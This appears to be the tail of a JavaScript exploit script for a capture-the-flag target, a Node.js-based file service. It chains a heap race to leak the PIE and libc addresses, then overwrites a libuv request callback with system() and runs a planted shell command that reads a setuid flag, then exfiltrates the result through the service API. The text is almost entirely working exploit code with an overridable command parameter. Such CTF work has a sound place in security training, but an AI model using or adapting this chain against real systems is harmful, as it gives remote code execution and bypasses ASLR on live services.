        while (!stop && active < RACE_PARALLEL && started < ROUNDS_PER_STAGE) {
          active++;
          const idx = started++;
          raceRoundWrite(idx).then((r) => {
            active--; finished++;
            if (r && r.ok && r.bytes) {
              dumps++;
              if (!isMarkerOnly(r.bytes)) {
                reclaims++;
                const result = analyzeSnapshot(r.bytes, idx, verboseRemaining > 0);
                if (result) {
                  if (verboseRemaining > 0) verboseRemaining--;
                  const k = result.pieBase.toString();
                  const n = (pieVotes.get(k) || 0) + 1;
                  pieVotes.set(k, n);
                  if (n >= STAGE1_MIN_VOTES && !stop) {
                    stop = true;
                    console.log(`  [*] early stop: ${n} matching votes (>=${STAGE1_MIN_VOTES}) at round ${finished}`);
                  }
                }
              }
            } else if (finished <= 5) {
              // Surface readLeakFile failures during the first few rounds so we
              // can tell "file missing" from "race didn't land" on a quiet remote.
              console.log(`  [r${idx}] no dump: ${r && r.reason || 'unknown'}`);
            }
            // Report every round during the first wave so high-RTT runs show
            // life immediately, then drop to every 10 rounds.
            const reportEvery = finished <= RACE_PARALLEL * 2 ? 1 : 10;
            if (finished % reportEvery === 0 || finished === ROUNDS_PER_STAGE) {
              console.log(`  [*] progress ${finished}/${ROUNDS_PER_STAGE}  dumps=${dumps}  reclaims=${reclaims}  unique_pie=${pieVotes.size}`);
            }
            if (stop && active === 0) resolve();
            else if (finished === ROUNDS_PER_STAGE) resolve();
            else tick();
          });
        }
      };
      tick();
    });

    // Drain after early-stop so in-flight rounds don't race with later stages.
    await new Promise(r => setTimeout(r, HOLD_MS));

    console.log(`\n[*] writeback summary: ${dumps} file dumps, ${reclaims} with reclaim signature, ${pieVotes.size} distinct PIE candidates`);
    if (pieVotes.size === 0) {
      console.log('[!] no PIE base recovered — likely the race never reclaimed; consider bumping HOLD_MS / SPRAY_CONNS');
      return null;
    }
    const sorted = [...pieVotes.entries()].sort((a, b) => b[1] - a[1]);
    for (const [pb, n] of sorted.slice(0, 5)) {
      console.log(`     ${String(n).padStart(4,' ')}×  PIE_base = 0x${BigInt(pb).toString(16).padStart(12,'0')}`);
    }
    const winner = BigInt(sorted[0][0]);
    console.log(`\n[*] PIE_base               = 0x${winner.toString(16).padStart(12,'0')}`);
    console.log(`[*] vtable_aliased_buffer  = 0x${(winner + VTABLE_BIN_OFFSET).toString(16)}`);
    console.log(`[*] syscall_ "rename"      = 0x${(winner + SYSCALL_BIN_OFFSET).toString(16)}`);
    return winner;
  } finally {
    STAGE_KIND = prevKind;
  }
}

// ---------------------------------------------------------------------------
// Stage 2: libc base recovery via syscall_ pointer redirect.
//
// pred-WRITES 8 bytes at slot+560, overwriting FSReqBase::syscall_ with the
// runtime address of execve@GOT (= PIE_base + EXECVE_GOT_BIN_OFFSET). When
// the sprayed rename fails ENOENT, UVException builds the error via
// OneByteString(isolate, syscall) → strlen + NewFromOneByte (Latin-1 — every
// byte preserved). The 6 leaked bytes come back in the error's syscall slot;
// pad bytes 6,7 with 0 (canonical 47-bit) to reconstruct the full pointer.
//
// libc_base = leaked_execve_runtime - MUSL_EXECVE_OFFSET.
// system    = libc_base + MUSL_SYSTEM_OFFSET (used by Stage 3).
//
// CAUTION: a corrupted syscall_ pointing to unmapped memory SIGSEGVs the
// strlen. execve@GOT is in the binary's .got — always mapped + readable.
// ---------------------------------------------------------------------------

const STAGE2_MIN_VOTES = parseInt(process.env.STAGE2_MIN_VOTES || '3');

function bigintToLeBytes(n, len = 8) {
  const b = Buffer.alloc(len);
  let v = n;
  for (let i = 0; i < len; i++) { b[i] = Number(v & 0xFFn); v >>= 8n; }
  return b;
}

async function stage2LibcRecovery(pieBase) {
  console.log('\n========== STAGE 2: libc leak via syscall_ redirect ==========');
  const gotAddr = pieBase + EXECVE_GOT_BIN_OFFSET;
  const victim = bigintToLeBytes(gotAddr, SYSCALL_LEAK_LENGTH);
  console.log(`[*] redirect syscall_ → execve@GOT at 0x${gotAddr.toString(16)} (LE bytes: ${victim.toString('hex')})`);

  STAGE_KIND = 'libc';
  libcDbg.total = 0; libcDbg.corrupted = 0; libcDbg.samples.length = 0;
  try {
    await runStage('libc-leak', SYSCALL_PRED_OFFSET, SYSCALL_LEAK_LENGTH, victim,
                   ROUNDS_PER_STAGE, { minVotes: STAGE2_MIN_VOTES });
  } finally {
    STAGE_KIND = 'idle';
  }
  console.log(`[dbg] total rename errors observed=${libcDbg.total} with corrupted syscall=${libcDbg.corrupted}`);
  if (stageLeaks.length === 0) {
    console.log('[!] no libc leaks captured');
    return null;
  }
  const counts = new Map();
  for (const l of stageLeaks) counts.set(l, (counts.get(l) || 0) + 1);
  const sorted = [...counts.entries()].sort((a, b) => b[1] - a[1]);
  console.log(`[*] captured ${stageLeaks.length} leaks, ${counts.size} unique:`);
  for (const [k, n] of sorted.slice(0, 3)) {
    const bytes = JSON.parse(k);
    console.log(`      ${String(n).padStart(4, ' ')}×  [${bytes.map(b => '0x' + b.toString(16).padStart(2,'0')).join(' ')}]`);
  }
  // Most-common pattern is canonical. Pad to 8 bytes with zeros (47-bit user
  // pointer: bytes 6, 7 = 0; strlen stopped at the first of them).
  const topBytes = JSON.parse(sorted[0][0]);
  const padded = topBytes.slice(0, 8);
  while (padded.length < 8) padded.push(0);
  let runtime = 0n;
  for (let i = 0; i < 8; i++) runtime |= BigInt(padded[i]) << BigInt(i * 8);
  console.log(`[+] execve runtime addr = 0x${runtime.toString(16)}`);
  return { runtime, leakedBytes: topBytes };
}

// ---------------------------------------------------------------------------
// Stage 3: RCE via req->cb hijack.
//
// We compute system = libc_base + MUSL_SYSTEM_OFFSET, then overwrite the
// rename's req->cb (at slot+188 = FSReqPromise+184, accounting for the -8
// layout shift) with system's runtime address. We ALSO plant a shell command
// at the start of the same uv_fs_t (slot+108..187 via pred); when libuv's
// uv__fs_done does `jmp *%rax` with rdi=req, control transfers to system
// with rdi pointing at our command string.
//
// system forks before execve("/bin/sh"), so the parent (node) returns
// cleanly — the server stays alive, letting us exfil the flag.
//
// COMMAND: defaults to '/readflag > <storage>/flag.out'. /readflag is setuid
// root in the container; redirect writes the flag to a file owned by our
// nfs user (the sh runs as non-root; the file is created by sh open() before
// /readflag is execed).
// ---------------------------------------------------------------------------

const STAGE3_DRY_RUN = process.env.STAGE3_DRY_RUN === '1';

// uv_fs_t layout (relative to req_ = slot+104, so /victim[X] = req_+X):
//   +0    data            (we plant cmd string here; rdi == req at cb invoke)
//   +8    type            (uv_req_type, value UV_FS=7 — leave as cmd byte, harmless)
//   +16   reserved[6]
//   +64   fs_type         (UV_FS_RENAME=21 — MUST preserve; worker switches on it)
//   +72   loop            (must point at writable; uv__fs_done deref's @+0x20)
//   +80   cb              (target: system)
//
// uv__fs_done preamble decrements req->loop->active_reqs.count at @+0x20 of
// loop, so loop must be mapped+writable with non-zero @+0x20. PIE_base+0x69ef000
// (.data start) satisfies both.
//
// uv__fs_work also reads fs_type EARLY (switch on fs_type). If our pred fires
// before that read on a reclaiming worker, fs_type=0 → switch default → abort.
// → /victim[64..67] = UV_FS_RENAME so any worker that sees mid-flight corruption
// still falls into the rename case. (The rename will then operate on whatever
// data/path bytes happen to be there — typically returns ENOENT, harmless.)
const UV_FS_RENAME          = 21;
const SAFE_LOOP_DATA_OFFSET = 0x69EF000n;
const RCE_FS_TYPE_VICTIM_BYTE = 64;
const RCE_LOOP_VICTIM_BYTE    = 72;

function buildRceVictim(systemAddr, safeLoopAddr, cmd) {
  const v = Buffer.alloc(RCE_LEAK_LENGTH, 0);
  v.write(cmd, 0, 'binary');
  v.writeUInt32LE(UV_FS_RENAME, RCE_FS_TYPE_VICTIM_BYTE);
  for (let i = 0; i < 8; i++) {
    v[RCE_LOOP_VICTIM_BYTE + i] = Number((safeLoopAddr >> BigInt(i * 8)) & 0xFFn);
  }
  for (let i = 0; i < 8; i++) {
    v[RCE_CB_VICTIM_BYTE + i]   = Number((systemAddr   >> BigInt(i * 8)) & 0xFFn);
  }
  return v;
}

async function stage3RceHijack(pieBase, libcLeak) {
  console.log('\n========== STAGE 3: RCE via req->cb → system ==========');
  if (libcLeak === null) {
    console.log('[!] no libc leak — cannot compute system address. Aborting.');
    return null;
  }

  const libcBase   = libcLeak.runtime - MUSL_EXECVE_OFFSET;
  const systemAddr = libcBase + MUSL_SYSTEM_OFFSET;
  console.log(`[*] libc_base = 0x${libcBase.toString(16).padStart(12, '0')}`);
  console.log(`[*] system    = 0x${systemAddr.toString(16)}`);

  // Build the shell command. Use the user's storage_root so flag.out is
  // owned by ctf (readable via nfs API).
  const flagOutFile = `${STORAGE_ROOT}/flag.out`;
  const cmd = process.env.RCE_CMD || `/readflag > ${flagOutFile}`;
  console.log(`[*] command  : ${cmd}  (length ${cmd.length})`);
  console.log(`[*] flag file: ${flagOutFile}`);

  // Command MUST fit before fs_type at /victim[64], otherwise we'd overwrite
  // the preserved fs_type value and the next race round's worker would abort.
  if (cmd.length >= RCE_FS_TYPE_VICTIM_BYTE) {
    console.log(`[!] cmd too long (${cmd.length} ≥ ${RCE_FS_TYPE_VICTIM_BYTE}); fs_type byte would be overwritten`);
    return null;
  }

  const safeLoopAddr = pieBase + SAFE_LOOP_DATA_OFFSET;
  console.log(`[*] safe req->loop ptr → PIE_base + 0x${SAFE_LOOP_DATA_OFFSET.toString(16)} = 0x${safeLoopAddr.toString(16)}`);
  const victim = buildRceVictim(systemAddr, safeLoopAddr, cmd);
  console.log(`[*] /victim (${victim.length}B):`);
  console.log(`     [0..${cmd.length}]   = cmd ('${cmd}')`);
  console.log(`     [${RCE_LOOP_VICTIM_BYTE}..${RCE_LOOP_VICTIM_BYTE + 8}]  = safe loop @0x${safeLoopAddr.toString(16)}`);
  console.log(`     [${RCE_CB_VICTIM_BYTE}..${RCE_CB_VICTIM_BYTE + 8}]  = system  @0x${systemAddr.toString(16)}`);
  console.log(`[*] /victim hex = ${victim.toString('hex')}`);

  if (STAGE3_DRY_RUN) {
    console.log('[*] STAGE3_DRY_RUN=1 — skipping corruption rounds.');
    return { flagOutFile, systemAddr, libcBase, cmd };
  }

  // Use fewer rounds and exfil-in-parallel to race the destructor's
  // CHECK_IMPLIES abort. Default 30 rounds; raise/lower via RCE_ROUNDS env.
  const rceRounds = parseInt(process.env.RCE_ROUNDS || '30');
  console.log(`[*] firing ${rceRounds} RCE rounds (pred at slot+${RCE_PRED_OFFSET}, length ${RCE_LEAK_LENGTH})`);
  console.log(`[*] starting exfil poller IN PARALLEL (read flag.out before destructor abort fires)`);

  // Sprayer stays in 'idle' mode — no parsing needed during RCE.
  await primeVictim(victim);

  // Race rounds in parallel with exfil polling. Whichever lands first wins.
  let exfilResult = null;
  const exfilPromise = stage4Exfil(flagOutFile).then(r => { exfilResult = r; });

  // Spawn RCE rounds.
  let started = 0, finished = 0;
  const racePromise = new Promise((resolve) => {
    let active = 0;
    const tick = () => {
      while (active < RACE_PARALLEL && started < rceRounds && !exfilResult) {
        active++; started++;
        raceRound(RCE_PRED_OFFSET, RCE_LEAK_LENGTH).then(() => {
          finished++; active--;
          if (finished === rceRounds || exfilResult) resolve();
          else tick();
        });
      }
      if (started >= rceRounds && active === 0) resolve();
    };
    tick();
  });

  await Promise.race([racePromise, exfilPromise]);
  // If race finished but exfil hasn't, give exfil a bit more time.
  if (!exfilResult) {
    console.log(`[*] race rounds done, waiting on exfil…`);
    await exfilPromise;
  }
  return { flagOutFile, systemAddr, libcBase, cmd, flag: exfilResult };
}

// ---------------------------------------------------------------------------
// Stage 4: exfiltrate the flag file via the nfs API.
//
// /readflag (setuid root, run inside system()'s shell) writes the flag to
// the redirect target. The file is created by sh open() under the nfs user's
// uid → readable via the nfs API as the regular user.
// ---------------------------------------------------------------------------

async function stage4Exfil(flagOutFile) {
  console.log('\n========== STAGE 4: exfil flag.out ==========');
  console.log(`[*] target: ${flagOutFile}`);
  // strip the storage_root prefix to get the user-relative path
  if (!flagOutFile.startsWith(STORAGE_ROOT + '/')) {
    console.log(`[!] flagOutFile does not start with storage_root — manual exfil needed`);
    return null;
  }
  const userRelPath = flagOutFile.slice(STORAGE_ROOT.length);
  console.log(`[*] nfs path: ${userRelPath}`);

  // Fast-cadence poll for the flag.out to appear with content.
  const maxAttempts = parseInt(process.env.EXFIL_ATTEMPTS || '120');
  const sleepMs = parseInt(process.env.EXFIL_SLEEP_MS || '200');
  for (let attempt = 1; attempt <= maxAttempts; attempt++) {
    let c;
    try {
      c = await newSession();
      // stat first to see if file exists with content
      let size = 0;
      try {
        const statRes = await c.sys('stat', { path: userRelPath });
        size = Number(statRes.statResult.size);
      } catch (e) {
        // ENOENT — file not yet created
        if (attempt % 5 === 0) console.log(`[*] attempt ${attempt}/${maxAttempts}: file not present yet (${e.message.slice(0, 80)})`);
        continue;
      }
      if (size === 0) {
        if (attempt % 5 === 0) console.log(`[*] attempt ${attempt}/${maxAttempts}: file exists but empty`);
        continue;
      }
      console.log(`[+] flag file exists, size=${size} bytes`);
      // Open + read
      const fd = Number((await c.sys('open', { path: userRelPath, flags: O_RDONLY })).retval);
      const bd = Number((await c.sys('balloc', { size: Math.max(size, 16) })).retval);
      const bytesRead = Number((await c.sys('read', { fd, bd, bufOffset: 0, length: size })).retval);
      const data = (await c.sys('bread', { bd, offset: 0, length: bytesRead })).breadResult.data;
      const buf = Buffer.from(data);
      console.log(`\n╔══════════════════════════════════════════════════════════╗`);
      console.log(`║  FLAG (${bytesRead} bytes):`);
      console.log(`║  ${JSON.stringify(buf.toString('utf8'))}`);
      console.log(`╚══════════════════════════════════════════════════════════╝`);
      console.log(`raw hex: ${buf.toString('hex')}`);
      return buf;
    } catch (e) {
      if (attempt % 5 === 0) console.log(`[*] attempt ${attempt}/${maxAttempts}: ${e.message.slice(0, 80)}`);
    } finally {
      try { c?.close(); } catch {}
    }
    await new Promise(r => setTimeout(r, sleepMs));
  }
  console.log(`[!] exfil failed after ${maxAttempts} attempts — flag file never appeared`);
  return null;
}

// ---------------------------------------------------------------------------
// Main
// ---------------------------------------------------------------------------

async function main() {
  console.log(`[*] target ${HTTP_URL}`);
  console.log(`[*] support pools: brotli=${SAT_BROTLI_CONNS}*${SAT_BROTLI_PAR} sprayers=${SPRAY_CONNS} burst=${BURST_CONNS} stall=${STALL_CONNS}`);
  console.log(`[*] timing: HOLD_MS=${HOLD_MS} KICK_DELAY_MS=${KICK_DELAY_MS} WARMUP_MS=${WARMUP_MS} RACE_PARALLEL=${RACE_PARALLEL} (TLS=${SECURE} LOW_RATE=${LOW_RATE})`);

  const proto = await fetchProto();
  const root  = protobuf.parse(proto).root;
  Request       = root.lookupType('nfs.Request');
  ServerMessage = root.lookupType('nfs.ServerMessage');

  console.log(`[*] discovering storage_root + priming /victim…`);
  await primeVictim(Buffer.alloc(1, 0));
  console.log(`[*] storage_root=${STORAGE_ROOT}`);

  console.log(`[*] launching support pools…`);
  for (let i = 0; i < SAT_BROTLI_CONNS; i++) brotliBlocker();
  for (let i = 0; i < SPRAY_CONNS;      i++) sprayer();
  await setupBurst();
  await setupStall();

  console.log(`[*] warming up (${WARMUP_MS}ms)…`);
  await new Promise(r => setTimeout(r, WARMUP_MS));

  // Always run Stage 1 fresh — ASLR randomizes PIE base per process start,
  // so any PIE base from a prior run is stale if the server has respawned.
  const pieBase = await stage1PieRecovery();
  if (pieBase === null) {
    running = false;
    console.log('\n[!] PIE recovery failed — terminating');
    process.exit(1);
  }

  // Stage 2: leak libc base via syscall_ pointer redirect.
  const libcLeak = await stage2LibcRecovery(pieBase);
  if (!libcLeak) {
    running = false;
    console.log('\n[!] libc leak failed — terminating');
    process.exit(1);
  }

  // Stage 3: hijack req->cb → system(cmd). Pred plants both the cb pointer
  // (= system) AND the command string in the same race round. Stage 3
  // also runs Stage 4 (exfil) in PARALLEL, racing the destructor abort.
  const rceInfo = await stage3RceHijack(pieBase, libcLeak);
  if (rceInfo && rceInfo.flag) {
    running = false;
    await new Promise(r => setTimeout(r, 500));
    process.exit(0);
  }
  if (!rceInfo) {
    running = false;
    console.log('\n[!] RCE setup failed — terminating');
    process.exit(1);
  }
  // Fallback: race finished but exfil didn't hit. Try once more after a beat.
  console.log('\n[*] retrying exfil once more (in case race+exfil missed each other)…');
  const flag = await stage4Exfil(rceInfo.flagOutFile);
  if (flag) {
    running = false;
    await new Promise(r => setTimeout(r, 500));
    process.exit(0);
  }

  running = false;
  await new Promise(r => setTimeout(r, 1000));
  process.exit(0);
}

main().catch((e) => { console.error('fatal:', e); process.exit(2); });